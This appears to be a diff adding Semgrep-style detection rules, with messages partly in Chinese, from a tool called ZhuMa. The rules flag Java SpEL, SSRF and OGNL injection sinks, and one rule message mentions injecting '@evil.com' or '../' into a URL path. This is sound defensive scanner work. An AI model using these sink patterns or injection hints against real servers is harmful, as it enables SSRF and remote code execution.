- pattern: |
|
|
104
|
+
$PARSER.parseExpression($INPUT)
|
|
105
|
+
- pattern: |
|
|
106
|
+
$PARSER.parseExpression($INPUT + $Y)
|
|
107
|
+
- pattern: |
|
|
108
|
+
$EXP.getValue($CONTEXT)
|
|
109
|
+
- pattern: |
|
|
110
|
+
$EXP.getValue()
|
|
111
|
+
metadata:
|
|
112
|
+
cwe: "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)"
|
|
113
|
+
severity: ERROR
|
|
114
|
+
precision: medium
|
|
115
|
+
category: expression-injection
|
|
116
|
+
likelihood: HIGH
|
|
117
|
+
impact: CRITICAL
|
|
118
|
+
owasp: "A03:2021 - Injection"
|
|
119
|
+
references:
|
|
120
|
+
- "https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions"
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
# CWE-918: SSRF — RestTemplate URL 参数可控检测
|
|
2
|
+
# 逐码 ZhuMa V4.1
|
|
3
|
+
|
|
4
|
+
rules:
|
|
5
|
+
|
|
6
|
+
- id: zm-java-ssrf-rt-001
|
|
7
|
+
severity: WARNING
|
|
8
|
+
message: |
|
|
9
|
+
RestTemplate.getForObject/postForObject() URL 参数来自 HTTP 请求,可导致 SSRF。
|
|
10
|
+
修复: 1.白名单域名校验 2.DNS解析后检查IP非内网 3.禁用自动重定向
|
|
11
|
+
languages:
|
|
12
|
+
- java
|
|
13
|
+
pattern-either:
|
|
14
|
+
- pattern: |
|
|
15
|
+
$RT.getForObject($REQ.getParameter($PARAM), ...)
|
|
16
|
+
- pattern: |
|
|
17
|
+
$RT.postForObject($REQ.getParameter($PARAM), ...)
|
|
18
|
+
metadata:
|
|
19
|
+
cwe: "CWE-918"
|
|
20
|
+
severity: WARNING
|
|
21
|
+
precision: medium
|
|
22
|
+
category: ssrf
|
|
23
|
+
likelihood: HIGH
|
|
24
|
+
impact: HIGH
|
|
25
|
+
owasp: "A10:2021 - SSRF"
|
|
26
|
+
|
|
27
|
+
- id: zm-java-ssrf-rt-002
|
|
28
|
+
severity: WARNING
|
|
29
|
+
message: |
|
|
30
|
+
RestTemplate.exchange() URL 参数用户可控,可能导致 SSRF。
|
|
31
|
+
修复: 1.白名单域名校验 2.DNS解析验证IP 3.禁用自动重定向
|
|
32
|
+
languages:
|
|
33
|
+
- java
|
|
34
|
+
pattern-either:
|
|
35
|
+
- pattern: |
|
|
36
|
+
$RT.exchange($REQ.getParameter($PARAM), ...)
|
|
37
|
+
metadata:
|
|
38
|
+
cwe: "CWE-918"
|
|
39
|
+
severity: WARNING
|
|
40
|
+
precision: medium
|
|
41
|
+
category: ssrf
|
|
42
|
+
likelihood: HIGH
|
|
43
|
+
impact: HIGH
|
|
44
|
+
owasp: "A10:2021 - SSRF"
|
|
45
|
+
|
|
46
|
+
- id: zm-java-ssrf-rt-003
|
|
47
|
+
severity: WARNING
|
|
48
|
+
message: |
|
|
49
|
+
RestTemplate URL 由用户输入拼接构造,可能导致 SSRF。
|
|
50
|
+
修复: 1.UriComponentsBuilder+白名单host 2.校验拼装后完整URL域名 3.对path参数严格过滤
|
|
51
|
+
languages:
|
|
52
|
+
- java
|
|
53
|
+
pattern-either:
|
|
54
|
+
- pattern: |
|
|
55
|
+
$RT.getForObject($BASE + $REQ.getParameter($PARAM), ...)
|
|
56
|
+
- pattern: |
|
|
57
|
+
$RT.postForObject($BASE + $REQ.getParameter($PARAM), ...)
|
|
58
|
+
- pattern: |
|
|
59
|
+
$RT.exchange($BASE + $REQ.getParameter($PARAM), ...)
|
|
60
|
+
metadata:
|
|
61
|
+
cwe: "CWE-918"
|
|
62
|
+
severity: WARNING
|
|
63
|
+
precision: medium
|
|
64
|
+
category: ssrf
|
|
65
|
+
likelihood: MEDIUM
|
|
66
|
+
impact: HIGH
|
|
67
|
+
owasp: "A10:2021 - SSRF"
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
# CWE-918 SSRF 深度覆盖 (v2): 全量Java HTTP客户端sink
|
|
2
|
+
# 补漏: 原始 cwe-918-ssrf.yaml 仅覆盖Url/HttpURLConnection/RestTemplate/WebClient
|
|
3
|
+
# 本文件追加: Feign / OkHttp / Apache HttpClient 4/5 / java.net.URL 全量变体
|
|
4
|
+
|
|
5
|
+
rules:
|
|
6
|
+
|
|
7
|
+
# ZM-JAVA-SSRF-OKHTTP-001: OkHttp3/4 请求URL由用户输入控制
|
|
8
|
+
- id: zm-java-ssrf-okhttp-001
|
|
9
|
+
severity: MEDIUM
|
|
10
|
+
message: |
|
|
11
|
+
OkHttp 请求 URL 由用户输入控制,可能导致 SSRF。
|
|
12
|
+
校验 URL 白名单或使用 DNS 解析校验(如 `InetAddress.getAllByName`)。
|
|
13
|
+
languages:
|
|
14
|
+
- java
|
|
15
|
+
pattern-either:
|
|
16
|
+
- pattern: |
|
|
17
|
+
$REQ = $HTTP.newBuilder().url($INPUT).build();
|
|
18
|
+
$CLIENT.newCall($REQ).execute();
|
|
19
|
+
- pattern: |
|
|
20
|
+
$HTTP.url($INPUT).build();
|
|
21
|
+
- pattern: |
|
|
22
|
+
$B = new Request.Builder().url($INPUT);
|
|
23
|
+
metadata:
|
|
24
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
25
|
+
owasp: "A10:2021 - Server-Side Request Forgery"
|
|
26
|
+
precision: high
|
|
27
|
+
tags: [ssrf, okhttp, http-client]
|
|
28
|
+
references:
|
|
29
|
+
- https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
|
|
30
|
+
|
|
31
|
+
# ZM-JAVA-SSRF-APACHE-HTTP: Apache HttpClient 4.x / 5.x 请求URL由用户控制
|
|
32
|
+
- id: zm-java-ssrf-apache-http-001
|
|
33
|
+
severity: MEDIUM
|
|
34
|
+
message: |
|
|
35
|
+
Apache HttpClient 请求 URL 由用户输入控制,可能导致 SSRF。
|
|
36
|
+
使用 `HttpClientBuilder.setDefaultRequestConfig` 限制重定向或校验目标 IP 白名单。
|
|
37
|
+
languages:
|
|
38
|
+
- java
|
|
39
|
+
pattern-either:
|
|
40
|
+
- pattern: |
|
|
41
|
+
$CLIENT.execute(new HttpGet($INPUT));
|
|
42
|
+
- pattern: |
|
|
43
|
+
$CLIENT.execute(new HttpPost($INPUT));
|
|
44
|
+
- pattern: |
|
|
45
|
+
$CLIENT.execute(new HttpPut($INPUT));
|
|
46
|
+
- pattern: |
|
|
47
|
+
$HTTP = HttpClients.createDefault();
|
|
48
|
+
...
|
|
49
|
+
$HTTP.execute(new HttpGet($INPUT));
|
|
50
|
+
- pattern: |
|
|
51
|
+
$CLIENT.execute(new HttpGet($INPUT), $RESPONSE);
|
|
52
|
+
- pattern: |
|
|
53
|
+
$B = RequestBuilder.get($INPUT);
|
|
54
|
+
metadata:
|
|
55
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
56
|
+
owasp: "A10:2021 - Server-Side Request Forgery"
|
|
57
|
+
precision: high
|
|
58
|
+
tags: [ssrf, apache-httpclient]
|
|
59
|
+
references:
|
|
60
|
+
- https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
|
|
61
|
+
|
|
62
|
+
# ZM-JAVA-SSRF-URL-BARE: java.net.URL openConnection/openStream 由用户控制
|
|
63
|
+
- id: zm-java-ssrf-url-001
|
|
64
|
+
severity: MEDIUM
|
|
65
|
+
message: |
|
|
66
|
+
java.net.URL 对象由用户输入构造,调用 openConnection/openStream 可触发 SSRF。
|
|
67
|
+
先校验域名/IP 是否在白名单内,或限制协议仅 http/https。
|
|
68
|
+
languages:
|
|
69
|
+
- java
|
|
70
|
+
pattern-either:
|
|
71
|
+
- pattern: new URL($INPUT).openConnection()
|
|
72
|
+
- pattern: new URL($INPUT).openStream()
|
|
73
|
+
- pattern: new URL($INPUT).getContent()
|
|
74
|
+
- pattern: $U = new URL($INPUT);
|
|
75
|
+
- pattern: URI.create($INPUT)
|
|
76
|
+
metadata:
|
|
77
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
78
|
+
owasp: "A10:2021 - Server-Side Request Forgery"
|
|
79
|
+
precision: high
|
|
80
|
+
tags: [ssrf, java-net-url]
|
|
81
|
+
references:
|
|
82
|
+
- https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
|
|
83
|
+
|
|
84
|
+
# ZM-JAVA-SSRF-FEIGN: Feign Client 动态URL
|
|
85
|
+
- id: zm-java-ssrf-feign-001
|
|
86
|
+
severity: MEDIUM
|
|
87
|
+
message: |
|
|
88
|
+
Feign Client @RequestLine 注解中 URL 使用字符串拼接或 @Param 传入。
|
|
89
|
+
使用固定 baseUrl + @RequestLine 相对路径,避免用户可控的完整 URL。
|
|
90
|
+
languages:
|
|
91
|
+
- java
|
|
92
|
+
pattern-either:
|
|
93
|
+
- pattern: |
|
|
94
|
+
$FEIGN.target($TARGET, $INPUT);
|
|
95
|
+
- pattern: |
|
|
96
|
+
$FEIGN = Feign.builder().target($T, $INPUT);
|
|
97
|
+
metadata:
|
|
98
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
99
|
+
owasp: "A10:2021 - Server-Side Request Forgery"
|
|
100
|
+
precision: medium
|
|
101
|
+
tags: [ssrf, feign]
|
|
102
|
+
references:
|
|
103
|
+
- https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
# CWE-918: SSRF — RestTemplate deeper variants
|
|
2
|
+
# ZhuMa V4.1 — complement zm-java-cwe918-resttemplate.yaml and webclient.yaml
|
|
3
|
+
|
|
4
|
+
rules:
|
|
5
|
+
|
|
6
|
+
# ZM-JAVA-SSRF-RT-DEEP-001: RestTemplate.execute() with user-controlled URL
|
|
7
|
+
- id: zm-java-ssrf-rt-deep-001
|
|
8
|
+
severity: MEDIUM
|
|
9
|
+
message: |
|
|
10
|
+
RestTemplate.execute() URL from HTTP parameter — SSRF via low-level execute method.
|
|
11
|
+
Fix: validate URL hostname against whitelist before calling execute().
|
|
12
|
+
languages:
|
|
13
|
+
- java
|
|
14
|
+
pattern-either:
|
|
15
|
+
- pattern: |
|
|
16
|
+
$RT.execute($REQ.getParameter(...), $METHOD, $CB, $VARS)
|
|
17
|
+
- pattern: |
|
|
18
|
+
$RT.execute($REQ.getParameter(...), HttpMethod.GET, $CB)
|
|
19
|
+
- pattern: |
|
|
20
|
+
$RT.execute($REQ.getParameter(...), HttpMethod.POST, $CB)
|
|
21
|
+
metadata:
|
|
22
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
23
|
+
severity: MEDIUM
|
|
24
|
+
precision: medium
|
|
25
|
+
category: ssrf
|
|
26
|
+
likelihood: HIGH
|
|
27
|
+
impact: HIGH
|
|
28
|
+
owasp: "A10:2021 - SSRF"
|
|
29
|
+
|
|
30
|
+
# ZM-JAVA-SSRF-RT-DEEP-002: RestTemplate URI variables from user input
|
|
31
|
+
- id: zm-java-ssrf-rt-deep-002
|
|
32
|
+
severity: MEDIUM
|
|
33
|
+
message: |
|
|
34
|
+
RestTemplate String.format-ed URL + user-controlled path segment — SSRF via URI template injection.
|
|
35
|
+
Attacker may inject "../" or "@evil.com" into the path variable.
|
|
36
|
+
Fix: validate path segments; use UriComponentsBuilder for strict URI construction.
|
|
37
|
+
languages:
|
|
38
|
+
- java
|
|
39
|
+
pattern-either:
|
|
40
|
+
- pattern: |
|
|
41
|
+
$RT.getForObject(String.format($FMT, $REQ.getParameter(...)), ...)
|
|
42
|
+
- pattern: |
|
|
43
|
+
$RT.exchange(String.format($FMT, $REQ.getParameter(...)), ...)
|
|
44
|
+
- pattern: |
|
|
45
|
+
$RT.getForEntity(String.format($FMT, $REQ.getParameter(...)), ...)
|
|
46
|
+
metadata:
|
|
47
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
48
|
+
severity: MEDIUM
|
|
49
|
+
precision: medium
|
|
50
|
+
category: ssrf
|
|
51
|
+
likelihood: MEDIUM
|
|
52
|
+
impact: HIGH
|
|
53
|
+
owasp: "A10:2021 - SSRF"
|
|
54
|
+
|
|
55
|
+
# ZM-JAVA-SSRF-RT-DEEP-003: UriComponentsBuilder from user-controlled host
|
|
56
|
+
- id: zm-java-ssrf-rt-deep-003
|
|
57
|
+
severity: MEDIUM
|
|
58
|
+
message: |
|
|
59
|
+
UriComponentsBuilder host/port/scheme from user input — attacker controls full URI authority.
|
|
60
|
+
This allows SSRF to any internal IP/service. Fix: hardcode scheme/host; only allow path/query from user.
|
|
61
|
+
languages:
|
|
62
|
+
- java
|
|
63
|
+
pattern-either:
|
|
64
|
+
- pattern: |
|
|
65
|
+
UriComponentsBuilder.newInstance().host($REQ.getParameter(...)).build()
|
|
66
|
+
- pattern: |
|
|
67
|
+
UriComponentsBuilder.newInstance().scheme($REQ.getParameter(...)).build()
|
|
68
|
+
- pattern: |
|
|
69
|
+
UriComponentsBuilder.fromUriString($REQ.getParameter(...)).build()
|
|
70
|
+
metadata:
|
|
71
|
+
cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
|
|
72
|
+
severity: MEDIUM
|
|
73
|
+
precision: high
|
|
74
|
+
category: ssrf
|
|
75
|
+
likelihood: MEDIUM
|
|
76
|
+
impact: HIGH
|
|
77
|
+
owasp: "A10:2021 - SSRF"
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
# CWE-918: SSRF — Spring WebClient URI 参数可控检测
|
|
2
|
+
# V4.1 - 单语句模式,避免跨语句 ... 导致的 PatternParseError
|
|
3
|
+
|
|
4
|
+
rules:
|
|
5
|
+
|
|
6
|
+
- id: zm-java-ssrf-wc-001
|
|
7
|
+
severity: WARNING
|
|
8
|
+
message: |
|
|
9
|
+
Spring WebClient get/post uri() from HTTP request param - user-controllable, can cause SSRF.
|
|
10
|
+
Fix: whitelist domain validation / DNS resolve verify non-internal IP / use UriComponentsBuilder.
|
|
11
|
+
languages:
|
|
12
|
+
- java
|
|
13
|
+
pattern-either:
|
|
14
|
+
- pattern: WebClient.create().get().uri($REQ.getParameter($PARAM))
|
|
15
|
+
- pattern: WebClient.create().post().uri($REQ.getParameter($PARAM))
|
|
16
|
+
- pattern: $WC.get().uri($REQ.getParameter($PARAM))
|
|
17
|
+
- pattern: $WC.post().uri($REQ.getParameter($PARAM))
|
|
18
|
+
metadata:
|
|
19
|
+
cwe: "CWE-918"
|
|
20
|
+
severity: WARNING
|
|
21
|
+
precision: high
|
|
22
|
+
category: ssrf
|
|
23
|
+
likelihood: HIGH
|
|
24
|
+
impact: HIGH
|
|
25
|
+
owasp: "A10:2021 - SSRF"
|
|
26
|
+
|
|
27
|
+
- id: zm-java-ssrf-wc-002
|
|
28
|
+
severity: WARNING
|
|
29
|
+
message: |
|
|
30
|
+
WebClient baseUrl from user input - attacker controls baseUrl to redirect to malicious server.
|
|
31
|
+
Fix: hardcode domain whitelist for baseUrl / never use user input as baseUrl.
|
|
32
|
+
languages:
|
|
33
|
+
- java
|
|
34
|
+
pattern-either:
|
|
35
|
+
- pattern: WebClient.builder().baseUrl($REQ.getParameter($PARAM)).build()
|
|
36
|
+
- pattern: WebClient.builder().baseUrl($REQ.getParameter($PARAM))
|
|
37
|
+
metadata:
|
|
38
|
+
cwe: "CWE-918"
|
|
39
|
+
severity: WARNING
|
|
40
|
+
precision: high
|
|
41
|
+
category: ssrf
|
|
42
|
+
likelihood: MEDIUM
|
|
43
|
+
impact: HIGH
|
|
44
|
+
owasp: "A10:2021 - SSRF"
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
# CWE-94: OGNL 表达式注入检测
|
|
2
|
+
# 逐码 ZhuMa V4.1
|
|
3
|
+
|
|
4
|
+
rules:
|
|
5
|
+
|
|
6
|
+
- id: zm-java-ognl-001
|
|
7
|
+
severity: ERROR
|
|
8
|
+
message: |
|
|
9
|
+
Ognl.parseExpression() 参数由 HTTP 请求参数传入,可导致 OGNL 注入 RCE。
|
|
10
|
+
修复: 1.禁止用户输入传入OGNL 2.Struts2参数白名单拦截器 3.启用strict-method-invocation
|
|
11
|
+
参考: CVE-2017-5638 (S2-045), CVE-2018-11776 (S2-057)
|
|
12
|
+
languages:
|
|
13
|
+
- java
|
|
14
|
+
pattern-either:
|
|
15
|
+
- pattern: |
|
|
16
|
+
Ognl.parseExpression($REQ.getParameter($PARAM))
|
|
17
|
+
- pattern: |
|
|
18
|
+
Ognl.parseExpression($REQ.getHeader($PARAM))
|
|
19
|
+
metadata:
|
|
20
|
+
cwe: "CWE-94"
|
|
21
|
+
severity: ERROR
|
|
22
|
+
precision: high
|
|
23
|
+
category: code-injection
|
|
24
|
+
likelihood: HIGH
|
|
25
|
+
impact: CRITICAL
|
|
26
|
+
owasp: "A03:2021 - Injection"
|
|
27
|
+
|
|
28
|
+
- id: zm-java-ognl-002
|
|
29
|
+
severity: ERROR
|
|
30
|
+
message: |
|
|
31
|
+
Ognl.getValue() 表达式参数可能由用户输入构造,可导致任意代码执行。
|
|
32
|
+
修复: 1.禁止用户输入直接作为OGNL表达式 2.OgnlContext安全配置 3.替换为安全模板引擎
|
|
33
|
+
languages:
|
|
34
|
+
- java
|
|
35
|
+
pattern-either:
|
|
36
|
+
- pattern: |
|
|
37
|
+
Ognl.getValue($REQ.getParameter($PARAM), ...)
|
|
38
|
+
metadata:
|
|
39
|
+
cwe: "CWE-94"
|
|
40
|
+
severity: ERROR
|
|
41
|
+
precision: medium
|
|
42
|
+
category: code-injection
|
|
43
|
+
likelihood: MEDIUM
|
|
44
|
+
impact: CRITICAL
|
|
45
|
+
owasp: "A03:2021 - Injection"
|
|
46
|
+
|
|
47
|
+
- id: zm-java-ognl-003
|
|
48
|
+
severity: HIGH
|
|
49
|
+
message: |
|
|
50
|
+
Ognl.parseExpression() 参数由变量拼接,若变量用户可控可导致OGNL注入RCE。
|
|
51
|
+
修复: 1.追踪变量来源 2.白名单表达式映射 3.严格校验表达式内容
|
|
52
|
+
languages:
|
|
53
|
+
- java
|
|
54
|
+
pattern-either:
|
|
55
|
+
- pattern: |
|
|
56
|
+
Ognl.parseExpression($EXPR + $Y)
|
|
57
|
+
- pattern: |
|
|
58
|
+
Ognl.parseExpression($EXPR)
|
|
59
|
+
metadata:
|
|
60
|
+
cwe: "CWE-94"
|
|
61
|
+
severity: HIGH
|
|
62
|
+
precision: low
|
|
63
|
+
category: code-injection
|
|
64
|
+
likelihood: MEDIUM
|
|
65
|
+
impact: CRITICAL
|
|
66
|
+
owasp: "A03:2021 - Injection"
|